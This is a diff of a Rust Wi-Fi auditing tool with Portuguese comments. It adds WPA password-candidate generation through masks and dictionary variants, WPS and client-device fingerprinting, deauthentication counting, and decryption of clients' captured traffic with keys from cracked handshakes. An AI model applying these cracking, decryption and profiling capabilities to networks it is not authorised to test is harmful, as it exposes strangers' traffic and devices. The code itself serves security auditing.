CharClass::Literal(c) => c.to_string(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Máscara compilada: uma lista de alfabetos, um por posição. Gera
|
||||||
|
/// candidatos por índice (contagem em base mista) sem materializar a lista
|
||||||
|
/// inteira — essencial, já que `?d?d?d?d?d?d?d?d` sozinho são 100 milhões.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct Mask {
|
||||||
|
alphabets: Vec<Vec<char>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Mask {
|
||||||
|
/// Compila uma máscara tipo `wifi?d?d?d?d` (literal "wifi" + 4 dígitos).
|
||||||
|
/// `??` é um `?` literal; `?` seguido de letra desconhecida é erro.
|
||||||
|
pub fn parse(pattern: &str) -> Result<Self, String> {
|
||||||
|
let mut alphabets = Vec::new();
|
||||||
|
let mut chars = pattern.chars().peekable();
|
||||||
|
while let Some(c) = chars.next() {
|
||||||
|
let class = if c == '?' {
|
||||||
|
match chars.next() {
|
||||||
|
Some('d') => CharClass::Digit,
|
||||||
|
Some('l') => CharClass::Lower,
|
||||||
|
Some('u') => CharClass::Upper,
|
||||||
|
Some('s') => CharClass::Symbol,
|
||||||
|
Some('a') => CharClass::All,
|
||||||
|
Some('?') => CharClass::Literal('?'),
|
||||||
|
Some(other) => return Err(format!("classe de máscara desconhecida: ?{other}")),
|
||||||
|
None => return Err("máscara termina com '?' sem classe".into()),
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
CharClass::Literal(c)
|
||||||
|
};
|
||||||
|
alphabets.push(class.alphabet().chars().collect());
|
||||||
|
}
|
||||||
|
if alphabets.is_empty() {
|
||||||
|
return Err("máscara vazia".into());
|
||||||
|
}
|
||||||
|
if alphabets.len() > 63 {
|
||||||
|
return Err("máscara maior que o limite de uma senha WPA (63)".into());
|
||||||
|
}
|
||||||
|
Ok(Self { alphabets })
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Total de candidatos. `None` se não couber num `u64` (máscara longa
|
||||||
|
/// demais pra ser levada a sério de qualquer forma).
|
||||||
|
pub fn total(&self) -> Option<u64> {
|
||||||
|
self.alphabets
|
||||||
|
.iter()
|
||||||
|
.try_fold(1u64, |acc, a| acc.checked_mul(a.len() as u64))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn len(&self) -> usize {
|
||||||
|
self.alphabets.len()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_empty(&self) -> bool {
|
||||||
|
self.alphabets.is_empty()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Candidato de índice `index` (contagem em base mista, como um
|
||||||
|
/// odômetro: a última posição gira mais rápido). `None` se `index` >=
|
||||||
|
/// `total()`.
|
||||||
|
pub fn candidate(&self, mut index: u64) -> Option<String> {
|
||||||
|
let total = self.total()?;
|
||||||
|
if index >= total {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut chars = vec!['\0'; self.alphabets.len()];
|
||||||
|
for i in (0..self.alphabets.len()).rev() {
|
||||||
|
let base = self.alphabets[i].len() as u64;
|
||||||
|
let digit = (index % base) as usize;
|
||||||
|
chars[i] = self.alphabets[i][digit];
|
||||||
|
index /= base;
|
||||||
|
}
|
||||||
|
Some(chars.into_iter().collect())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn expand_respects_min_length() {
|
||||||
|
let variants = expand("senha");
|
||||||
|
// "senha" tem 5 chars; sozinha não é candidata WPA válida (precisa
|
||||||
|
// de 8+), mas com sufixo (ex.: "senha123", 8) sim.
|
||||||
|
assert!(!variants.iter().any(|v| v == "senha"));
|
||||||
|
assert!(variants.contains(&"senha123".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn expand_includes_original_when_long_enough() {
|
||||||
|
let variants = expand("abacaxi1");
|
||||||
|
assert!(variants.contains(&"abacaxi1".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn expand_applies_capitalization_suffix_and_leet() {
|
||||||
|
let variants = expand("abacaxi1");
|
||||||
|
assert!(variants.contains(&"Abacaxi1".to_string()));
|
||||||
|
assert!(variants.contains(&"ABACAXI1".to_string()));
|
||||||
|
assert!(variants.contains(&"abacaxi1123".to_string()));
|
||||||
|
// leet troca TODAS as ocorrências de 'a': as três em "abacaxi1".
|
||||||
|
assert!(variants.contains(&"@b@c@xi1".to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn expand_has_no_duplicates() {
|
||||||
|
let variants = expand("12345678");
|
||||||
|
let mut sorted = variants.clone();
|
||||||
|
sorted.sort();
|
||||||
|
sorted.dedup();
|
||||||
|
assert_eq!(variants.len(), sorted.len());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn mask_parses_literals_and_classes() {
|
||||||
|
let mask = Mask::parse("wifi?d?d?d?d").expect("máscara válida");
|
||||||
|
assert_eq!(mask.len(), 8);
|
||||||
|
assert_eq!(mask.total(), Some(10_000));
|
||||||
|
assert_eq!(mask.candidate(0).as_deref(), Some("wifi0000"));
|
||||||
|
assert_eq!(mask.candidate(9_999).as_deref(), Some("wifi9999"));
|
||||||
|
assert_eq!(mask.candidate(10_000), None);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn mask_literal_question_mark_and_unknown_class() {
|
||||||
|
// "??" vira um '?' literal; os dois primeiros chars são consumidos
|
||||||
|
// juntos, então "???d" é: '?' literal + "?d" (classe dígito).
|
||||||
|
assert_eq!(
|
||||||
|
Mask::parse("???d").unwrap().candidate(0).as_deref(),
|
||||||
|
Some("?0")
|
||||||
|
);
|
||||||
|
assert!(Mask::parse("?z").is_err());
|
||||||
|
assert!(Mask::parse("").is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn mask_covers_every_combination_exactly_once() {
|
||||||
|
let mask = Mask::parse("?d?l").expect("máscara válida");
|
||||||
|
let total = mask.total().unwrap();
|
||||||
|
assert_eq!(total, 10 * 26);
|
||||||
|
let mut seen = std::collections::HashSet::new();
|
||||||
|
for i in 0..total {
|
||||||
|
seen.insert(mask.candidate(i).unwrap());
|
||||||
|
}
|
||||||
|
assert_eq!(seen.len() as u64, total);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,7 +4,7 @@
|
|||||||
use crate::dot11::{self, FrameKind, Security};
|
use crate::dot11::{self, FrameKind, Security};
|
||||||
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
|
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
|
||||||
use crate::radiotap::{self, Band};
|
use crate::radiotap::{self, Band};
|
||||||
use std::collections::HashMap;
|
use std::collections::{HashMap, VecDeque};
|
||||||
use std::time::{SystemTime, UNIX_EPOCH};
|
use std::time::{SystemTime, UNIX_EPOCH};
|
||||||
|
|
||||||
#[derive(Debug, Clone, serde::Serialize)]
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
@@ -19,7 +19,21 @@ pub struct AccessPoint {
|
|||||||
pub cipher: Option<String>,
|
pub cipher: Option<String>,
|
||||||
pub akm: Vec<String>,
|
pub akm: Vec<String>,
|
||||||
pub pmf: bool,
|
pub pmf: bool,
|
||||||
|
pub pmf_required: bool,
|
||||||
pub wps: bool,
|
pub wps: bool,
|
||||||
|
pub wps_locked: Option<bool>,
|
||||||
|
pub wps_version: Option<String>,
|
||||||
|
pub wps_manufacturer: Option<String>,
|
||||||
|
pub wps_model: Option<String>,
|
||||||
|
pub wps_model_number: Option<String>,
|
||||||
|
pub wps_device_name: Option<String>,
|
||||||
|
pub wps_serial: Option<String>,
|
||||||
|
pub vendor: Option<String>,
|
||||||
|
pub country: Option<String>,
|
||||||
|
pub phy: Vec<String>,
|
||||||
|
pub width_mhz: Option<u16>,
|
||||||
|
pub beacon_interval: Option<u16>,
|
||||||
|
pub privacy: bool,
|
||||||
pub signal_dbm: Option<i8>,
|
pub signal_dbm: Option<i8>,
|
||||||
pub max_signal_dbm: Option<i8>,
|
pub max_signal_dbm: Option<i8>,
|
||||||
pub beacons: u64,
|
pub beacons: u64,
|
||||||
@@ -29,9 +43,33 @@ pub struct AccessPoint {
|
|||||||
pub last_seen_unix: u64,
|
pub last_seen_unix: u64,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
|
pub struct SignalSample {
|
||||||
|
pub t: u64,
|
||||||
|
pub dbm: i8,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
|
pub struct ClientEvent {
|
||||||
|
pub t: u64,
|
||||||
|
pub kind: String,
|
||||||
|
pub detail: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, serde::Serialize)]
|
#[derive(Debug, Clone, serde::Serialize)]
|
||||||
pub struct Client {
|
pub struct Client {
|
||||||
pub mac: String,
|
pub mac: String,
|
||||||
|
/// Nome curto para exibir: hostname, nome WPS, modelo ou fabricante.
|
||||||
|
pub display_name: Option<String>,
|
||||||
|
pub vendor: Option<String>,
|
||||||
|
pub manufacturer: Option<String>,
|
||||||
|
pub model: Option<String>,
|
||||||
|
pub device_name: Option<String>,
|
||||||
|
pub hostname: Option<String>,
|
||||||
|
pub ip: Option<String>,
|
||||||
|
pub os: Option<String>,
|
||||||
|
pub device: Option<String>,
|
||||||
|
pub random_mac: bool,
|
||||||
pub bssid: Option<String>,
|
pub bssid: Option<String>,
|
||||||
pub signal_dbm: Option<i8>,
|
pub signal_dbm: Option<i8>,
|
||||||
pub max_signal_dbm: Option<i8>,
|
pub max_signal_dbm: Option<i8>,
|
||||||
@@ -40,6 +78,11 @@ pub struct Client {
|
|||||||
pub associated: bool,
|
pub associated: bool,
|
||||||
pub first_seen_unix: u64,
|
pub first_seen_unix: u64,
|
||||||
pub last_seen_unix: u64,
|
pub last_seen_unix: u64,
|
||||||
|
/// Amostras de sinal (mais antiga primeiro), limitadas para não crescer
|
||||||
|
/// sem fim numa captura longa.
|
||||||
|
pub signal_history: Vec<SignalSample>,
|
||||||
|
/// Linha do tempo curta: primeiro visto, probe, associação, desautenticação.
|
||||||
|
pub events: Vec<ClientEvent>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, Default)]
|
#[derive(Debug, Clone, Copy, Default)]
|
||||||
@@ -58,6 +101,17 @@ pub struct ScanSnapshot {
|
|||||||
pub access_points: Vec<AccessPoint>,
|
pub access_points: Vec<AccessPoint>,
|
||||||
pub clients: Vec<Client>,
|
pub clients: Vec<Client>,
|
||||||
pub handshakes: Vec<HandshakeInfo>,
|
pub handshakes: Vec<HandshakeInfo>,
|
||||||
|
pub analysis: crate::analysis::Analysis,
|
||||||
|
/// Preenchido quando a captura morreu sozinha (erro de I/O, adaptador
|
||||||
|
/// caiu da USB, etc.) — `running` já vem `false` nesse caso, mas sem
|
||||||
|
/// isso a UI não tinha como dizer *por quê* parou.
|
||||||
|
pub error: Option<String>,
|
||||||
|
/// Preenchido quando a captura está rodando mas não recebeu nenhum
|
||||||
|
/// quadro depois de um tempo razoável saltando canais — sintoma de uma
|
||||||
|
/// placa que aceita ativar o modo monitor (o netlink não recusa) mas não
|
||||||
|
/// entrega quadro nenhum de verdade. Comum em placas Wi-Fi internas de
|
||||||
|
/// notebook; diferente de `error`, a sessão continua `running`.
|
||||||
|
pub warning: Option<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, Default, serde::Serialize)]
|
#[derive(Debug, Clone, Copy, Default, serde::Serialize)]
|
||||||
@@ -78,6 +132,7 @@ pub struct ScanTable {
|
|||||||
frames: u64,
|
frames: u64,
|
||||||
eapol_frames: u64,
|
eapol_frames: u64,
|
||||||
deauth_frames: u64,
|
deauth_frames: u64,
|
||||||
|
deauth_times: VecDeque<u64>,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl ScanTable {
|
impl ScanTable {
|
||||||
@@ -129,7 +184,21 @@ impl ScanTable {
|
|||||||
cipher: None,
|
cipher: None,
|
||||||
akm: Vec::new(),
|
akm: Vec::new(),
|
||||||
pmf: false,
|
pmf: false,
|
||||||
|
pmf_required: false,
|
||||||
wps: false,
|
wps: false,
|
||||||
|
wps_locked: None,
|
||||||
|
wps_version: None,
|
||||||
|
wps_manufacturer: None,
|
||||||
|
wps_model: None,
|
||||||
|
wps_model_number: None,
|
||||||
|
wps_device_name: None,
|
||||||
|
wps_serial: None,
|
||||||
|
vendor: crate::oui::vendor(&bssid).map(str::to_string),
|
||||||
|
country: None,
|
||||||
|
phy: Vec::new(),
|
||||||
|
width_mhz: None,
|
||||||
|
beacon_interval: None,
|
||||||
|
privacy: false,
|
||||||
signal_dbm: None,
|
signal_dbm: None,
|
||||||
max_signal_dbm: None,
|
max_signal_dbm: None,
|
||||||
beacons: 0,
|
beacons: 0,
|
||||||
@@ -155,7 +224,24 @@ impl ScanTable {
|
|||||||
ap.cipher = info.cipher.clone();
|
ap.cipher = info.cipher.clone();
|
||||||
ap.akm = info.akm.clone();
|
ap.akm = info.akm.clone();
|
||||||
ap.pmf = info.pmf;
|
ap.pmf = info.pmf;
|
||||||
|
ap.pmf_required = info.pmf_required;
|
||||||
ap.wps = info.wps;
|
ap.wps = info.wps;
|
||||||
|
if info.wps {
|
||||||
|
ap.wps_locked = info.wps_locked;
|
||||||
|
ap.wps_version = info.wps_version.clone();
|
||||||
|
ap.wps_manufacturer = info.wps_manufacturer.clone();
|
||||||
|
ap.wps_model = info.wps_model.clone();
|
||||||
|
ap.wps_model_number = info.wps_model_number.clone();
|
||||||
|
ap.wps_device_name = info.wps_device_name.clone();
|
||||||
|
ap.wps_serial = info.wps_serial.clone();
|
||||||
|
}
|
||||||
|
ap.country = info.country.clone().or(ap.country.take());
|
||||||
|
if !info.phy.is_empty() {
|
||||||
|
ap.phy = info.phy.clone();
|
||||||
|
}
|
||||||
|
ap.width_mhz = info.width_mhz.or(ap.width_mhz);
|
||||||
|
ap.beacon_interval = info.beacon_interval.or(ap.beacon_interval);
|
||||||
|
ap.privacy = info.privacy;
|
||||||
ap.signal_dbm = rt.signal_dbm;
|
ap.signal_dbm = rt.signal_dbm;
|
||||||
if let Some(sig) = rt.signal_dbm {
|
if let Some(sig) = rt.signal_dbm {
|
||||||
ap.max_signal_dbm = Some(ap.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
ap.max_signal_dbm = Some(ap.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
||||||
@@ -174,11 +260,19 @@ impl ScanTable {
|
|||||||
let info = frame.management_info();
|
let info = frame.management_info();
|
||||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||||
c.packets += 1;
|
c.packets += 1;
|
||||||
|
apply_management_identity(c, &info);
|
||||||
if let Some(ssid) = info.ssid.filter(|s| !s.is_empty()) {
|
if let Some(ssid) = info.ssid.filter(|s| !s.is_empty()) {
|
||||||
if !c.probes.contains(&ssid) {
|
if !c.probes.contains(&ssid) {
|
||||||
c.probes.push(ssid);
|
c.probes.push(ssid.clone());
|
||||||
|
c.events.push(ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "probe".into(),
|
||||||
|
detail: Some(ssid),
|
||||||
|
});
|
||||||
|
trim_events(c);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
refresh_identity(c);
|
||||||
}
|
}
|
||||||
FrameKind::AssociationRequest => {
|
FrameKind::AssociationRequest => {
|
||||||
let client = frame.src_str();
|
let client = frame.src_str();
|
||||||
@@ -187,10 +281,22 @@ impl ScanTable {
|
|||||||
.map(|m| dot11::mac_to_string(&m))
|
.map(|m| dot11::mac_to_string(&m))
|
||||||
.or_else(|| frame.bssid_str());
|
.or_else(|| frame.bssid_str());
|
||||||
if let (Some(client), Some(bssid)) = (client, bssid) {
|
if let (Some(client), Some(bssid)) = (client, bssid) {
|
||||||
|
let info = frame.management_info();
|
||||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||||
c.packets += 1;
|
c.packets += 1;
|
||||||
|
apply_management_identity(c, &info);
|
||||||
|
refresh_identity(c);
|
||||||
|
let was = c.associated;
|
||||||
c.bssid = Some(bssid.clone());
|
c.bssid = Some(bssid.clone());
|
||||||
c.associated = true;
|
c.associated = true;
|
||||||
|
if !was {
|
||||||
|
c.events.push(ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "associate".into(),
|
||||||
|
detail: Some(bssid.clone()),
|
||||||
|
});
|
||||||
|
trim_events(c);
|
||||||
|
}
|
||||||
if let Some(ap) = self.aps.get_mut(&bssid) {
|
if let Some(ap) = self.aps.get_mut(&bssid) {
|
||||||
if !ap.clients.contains(&client) {
|
if !ap.clients.contains(&client) {
|
||||||
ap.clients.push(client);
|
ap.clients.push(client);
|
||||||
@@ -211,10 +317,43 @@ impl ScanTable {
|
|||||||
};
|
};
|
||||||
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
|
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
|
||||||
if client != bssid {
|
if client != bssid {
|
||||||
|
// Calculado antes do touch_client: a TK vem de self.handshakes, e
|
||||||
|
// o borrow checker não deixa consultar isso com `c` (borrow de
|
||||||
|
// self.clients) vivo ao mesmo tempo.
|
||||||
|
let tk = (frame.protected && frame.to_ds && !frame.from_ds)
|
||||||
|
.then(|| self.handshakes.tk_for(&bssid, &client))
|
||||||
|
.flatten();
|
||||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||||
c.packets += 1;
|
c.packets += 1;
|
||||||
|
if frame.to_ds && !frame.from_ds {
|
||||||
|
if frame.protected {
|
||||||
|
// Só decifra se já quebramos a senha e vimos o handshake
|
||||||
|
// DESSE cliente — a PTK é por associação, então a senha da
|
||||||
|
// rede sozinha não abre tráfego de quem não foi capturado.
|
||||||
|
if let Some(plain) = tk.and_then(|tk| frame.ccmp_payload(&tk)) {
|
||||||
|
let payload = dot11::payload_info_from_llc(&plain);
|
||||||
|
apply_payload_identity(c, &payload);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
let payload = frame.payload_info();
|
||||||
|
apply_payload_identity(c, &payload);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Sempre recalcula o nome de exibição, mesmo em quadros AP→estação
|
||||||
|
// (downlink): sem isso, um cliente só visto recebendo dados nunca
|
||||||
|
// ganhava o fallback para o fabricante (OUI), ficando só com o MAC.
|
||||||
|
refresh_identity(c);
|
||||||
|
let was = c.associated;
|
||||||
c.bssid = Some(bssid.clone());
|
c.bssid = Some(bssid.clone());
|
||||||
c.associated = true;
|
c.associated = true;
|
||||||
|
if !was {
|
||||||
|
c.events.push(ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "associate".into(),
|
||||||
|
detail: Some(bssid.clone()),
|
||||||
|
});
|
||||||
|
trim_events(c);
|
||||||
|
}
|
||||||
if let Some(ap) = self.aps.get_mut(&bssid) {
|
if let Some(ap) = self.aps.get_mut(&bssid) {
|
||||||
ap.data_frames += 1;
|
ap.data_frames += 1;
|
||||||
if !ap.clients.contains(&client) {
|
if !ap.clients.contains(&client) {
|
||||||
@@ -238,6 +377,14 @@ impl ScanTable {
|
|||||||
}
|
}
|
||||||
FrameKind::Deauth | FrameKind::Disassoc => {
|
FrameKind::Deauth | FrameKind::Disassoc => {
|
||||||
self.deauth_frames += 1;
|
self.deauth_frames += 1;
|
||||||
|
self.deauth_times.push_back(now);
|
||||||
|
while self
|
||||||
|
.deauth_times
|
||||||
|
.front()
|
||||||
|
.is_some_and(|t| now.saturating_sub(*t) > 60)
|
||||||
|
{
|
||||||
|
self.deauth_times.pop_front();
|
||||||
|
}
|
||||||
event.deauth = true;
|
event.deauth = true;
|
||||||
let a1 = frame.addr1.map(|m| dot11::mac_to_string(&m));
|
let a1 = frame.addr1.map(|m| dot11::mac_to_string(&m));
|
||||||
let a2 = frame.addr2.map(|m| dot11::mac_to_string(&m));
|
let a2 = frame.addr2.map(|m| dot11::mac_to_string(&m));
|
||||||
@@ -249,6 +396,14 @@ impl ScanTable {
|
|||||||
};
|
};
|
||||||
if let Some(client) = client {
|
if let Some(client) = client {
|
||||||
if let Some(c) = self.clients.get_mut(&client) {
|
if let Some(c) = self.clients.get_mut(&client) {
|
||||||
|
if c.associated {
|
||||||
|
c.events.push(ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "deauth".into(),
|
||||||
|
detail: bssid.clone(),
|
||||||
|
});
|
||||||
|
trim_events(c);
|
||||||
|
}
|
||||||
c.associated = false;
|
c.associated = false;
|
||||||
c.last_seen_unix = now;
|
c.last_seen_unix = now;
|
||||||
}
|
}
|
||||||
@@ -266,6 +421,16 @@ impl ScanTable {
|
|||||||
.entry(mac.to_string())
|
.entry(mac.to_string())
|
||||||
.or_insert_with(|| Client {
|
.or_insert_with(|| Client {
|
||||||
mac: mac.to_string(),
|
mac: mac.to_string(),
|
||||||
|
display_name: None,
|
||||||
|
vendor: crate::oui::vendor(mac).map(str::to_string),
|
||||||
|
manufacturer: None,
|
||||||
|
model: None,
|
||||||
|
device_name: None,
|
||||||
|
hostname: None,
|
||||||
|
ip: None,
|
||||||
|
os: None,
|
||||||
|
device: None,
|
||||||
|
random_mac: is_random_mac(mac),
|
||||||
bssid: None,
|
bssid: None,
|
||||||
signal_dbm: None,
|
signal_dbm: None,
|
||||||
max_signal_dbm: None,
|
max_signal_dbm: None,
|
||||||
@@ -274,15 +439,49 @@ impl ScanTable {
|
|||||||
associated: false,
|
associated: false,
|
||||||
first_seen_unix: now,
|
first_seen_unix: now,
|
||||||
last_seen_unix: now,
|
last_seen_unix: now,
|
||||||
|
signal_history: Vec::new(),
|
||||||
|
events: vec![ClientEvent {
|
||||||
|
t: now,
|
||||||
|
kind: "first_seen".into(),
|
||||||
|
detail: None,
|
||||||
|
}],
|
||||||
});
|
});
|
||||||
c.last_seen_unix = now;
|
c.last_seen_unix = now;
|
||||||
c.signal_dbm = signal;
|
c.signal_dbm = signal;
|
||||||
if let Some(sig) = signal {
|
if let Some(sig) = signal {
|
||||||
c.max_signal_dbm = Some(c.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
c.max_signal_dbm = Some(c.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
||||||
|
let should_push = c
|
||||||
|
.signal_history
|
||||||
|
.last()
|
||||||
|
.map_or(true, |s| s.t != now || s.dbm != sig);
|
||||||
|
if should_push {
|
||||||
|
c.signal_history.push(SignalSample { t: now, dbm: sig });
|
||||||
|
if c.signal_history.len() > 60 {
|
||||||
|
let drop = c.signal_history.len() - 60;
|
||||||
|
c.signal_history.drain(0..drop);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Já dá o fallback pro fabricante (OUI) desde o primeiro avistamento,
|
||||||
|
// antes de qualquer quadro de gerenciamento/dados chegar a chamar
|
||||||
|
// refresh_identity de novo.
|
||||||
|
if c.display_name.is_none() {
|
||||||
|
refresh_identity(c);
|
||||||
}
|
}
|
||||||
c
|
c
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub fn analysis(&self) -> crate::analysis::Analysis {
|
||||||
|
let now = unix_now();
|
||||||
|
let aps = self.access_points();
|
||||||
|
let deauth = self.deauth_times.len() as u32;
|
||||||
|
crate::analysis::analyze(&aps, deauth, now)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn deauth_60s(&self) -> u32 {
|
||||||
|
self.deauth_times.len() as u32
|
||||||
|
}
|
||||||
|
|
||||||
pub fn access_points(&self) -> Vec<AccessPoint> {
|
pub fn access_points(&self) -> Vec<AccessPoint> {
|
||||||
let mut v: Vec<_> = self.aps.values().cloned().collect();
|
let mut v: Vec<_> = self.aps.values().cloned().collect();
|
||||||
v.sort_by(|a, b| {
|
v.sort_by(|a, b| {
|
||||||
@@ -337,6 +536,102 @@ impl ScanTable {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn is_random_mac(mac: &str) -> bool {
|
||||||
|
let Some(first) = mac.split(':').next() else {
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
u8::from_str_radix(first, 16)
|
||||||
|
.map(|b| b & 0x02 != 0 && b & 0x01 == 0)
|
||||||
|
.unwrap_or(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn apply_management_identity(c: &mut Client, info: &dot11::ManagementInfo) {
|
||||||
|
if let Some(name) = info.wps_device_name.as_deref().filter(|s| !s.is_empty()) {
|
||||||
|
c.device_name = Some(name.to_string());
|
||||||
|
}
|
||||||
|
if let Some(manufacturer) = info.wps_manufacturer.as_deref().filter(|s| !s.is_empty()) {
|
||||||
|
c.manufacturer = Some(manufacturer.to_string());
|
||||||
|
}
|
||||||
|
if let Some(model) = info.wps_model.as_deref().filter(|s| !s.is_empty()) {
|
||||||
|
c.model = Some(model.to_string());
|
||||||
|
}
|
||||||
|
if let Some(hint) = c.device_name.as_deref().or(c.model.as_deref()) {
|
||||||
|
if let Some(device) = dot11::device_from_text(hint) {
|
||||||
|
c.device = Some(device);
|
||||||
|
}
|
||||||
|
if let Some(os) = dot11::os_from_text(hint) {
|
||||||
|
c.os = Some(os);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn apply_payload_identity(c: &mut Client, info: &dot11::PayloadInfo) {
|
||||||
|
if let Some(ip) = &info.ip {
|
||||||
|
c.ip = Some(ip.clone());
|
||||||
|
}
|
||||||
|
if let Some(hostname) = &info.hostname {
|
||||||
|
if !hostname.is_empty() {
|
||||||
|
c.hostname = Some(hostname.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if let Some(manufacturer) = &info.manufacturer {
|
||||||
|
c.manufacturer = c.manufacturer.take().or_else(|| Some(manufacturer.clone()));
|
||||||
|
}
|
||||||
|
if let Some(model) = &info.model {
|
||||||
|
c.model = Some(model.clone());
|
||||||
|
}
|
||||||
|
if let Some(os) = &info.os {
|
||||||
|
c.os = Some(os.clone());
|
||||||
|
}
|
||||||
|
if let Some(device) = &info.device {
|
||||||
|
c.device = Some(device.clone());
|
||||||
|
}
|
||||||
|
if let Some(hint) = c.hostname.as_deref().or(c.device_name.as_deref()) {
|
||||||
|
if c.os.is_none() {
|
||||||
|
c.os = dot11::os_from_text(hint);
|
||||||
|
}
|
||||||
|
if c.device.is_none() {
|
||||||
|
c.device = dot11::device_from_text(hint);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn refresh_identity(c: &mut Client) {
|
||||||
|
if c.manufacturer.is_none() {
|
||||||
|
c.manufacturer = c.vendor.clone();
|
||||||
|
}
|
||||||
|
if c.os.is_none() {
|
||||||
|
c.os = c
|
||||||
|
.hostname
|
||||||
|
.as_deref()
|
||||||
|
.or(c.device_name.as_deref())
|
||||||
|
.or(c.model.as_deref())
|
||||||
|
.and_then(dot11::os_from_text);
|
||||||
|
}
|
||||||
|
if c.device.is_none() {
|
||||||
|
c.device = c
|
||||||
|
.hostname
|
||||||
|
.as_deref()
|
||||||
|
.or(c.device_name.as_deref())
|
||||||
|
.or(c.model.as_deref())
|
||||||
|
.and_then(dot11::device_from_text);
|
||||||
|
}
|
||||||
|
c.display_name = c
|
||||||
|
.hostname
|
||||||
|
.clone()
|
||||||
|
.or_else(|| c.device_name.clone())
|
||||||
|
.or_else(|| c.model.clone())
|
||||||
|
.or_else(|| c.manufacturer.clone());
|
||||||
|
}
|
||||||
|
|
||||||
|
fn trim_events(c: &mut Client) {
|
||||||
|
const MAX: usize = 40;
|
||||||
|
if c.events.len() > MAX {
|
||||||
|
let drop = c.events.len() - MAX;
|
||||||
|
c.events.drain(0..drop);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn security_label(s: Security) -> String {
|
fn security_label(s: Security) -> String {
|
||||||
match s {
|
match s {
|
||||||
Security::Open => "Open".into(),
|
Security::Open => "Open".into(),
|
||||||
@@ -469,4 +764,12 @@ mod tests {
|
|||||||
assert_eq!(table.stats().deauth_frames, 1);
|
assert_eq!(table.stats().deauth_frames, 1);
|
||||||
assert!(!table.clients()[0].associated);
|
assert!(!table.clients()[0].associated);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn flags_locally_administered_macs() {
|
||||||
|
assert!(is_random_mac("5a:0d:93:04:cf:90"));
|
||||||
|
assert!(is_random_mac("02:11:22:33:44:55"));
|
||||||
|
assert!(!is_random_mac("00:11:22:33:44:55"));
|
||||||
|
assert!(!is_random_mac("ff:ff:ff:ff:ff:ff"));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -25,11 +25,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
|
|||||||
f[1] = EAPOL_TYPE_KEY;
|
f[1] = EAPOL_TYPE_KEY;
|
||||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||||
f[4] = 2;
|
f[4] = 2;
|
||||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||||
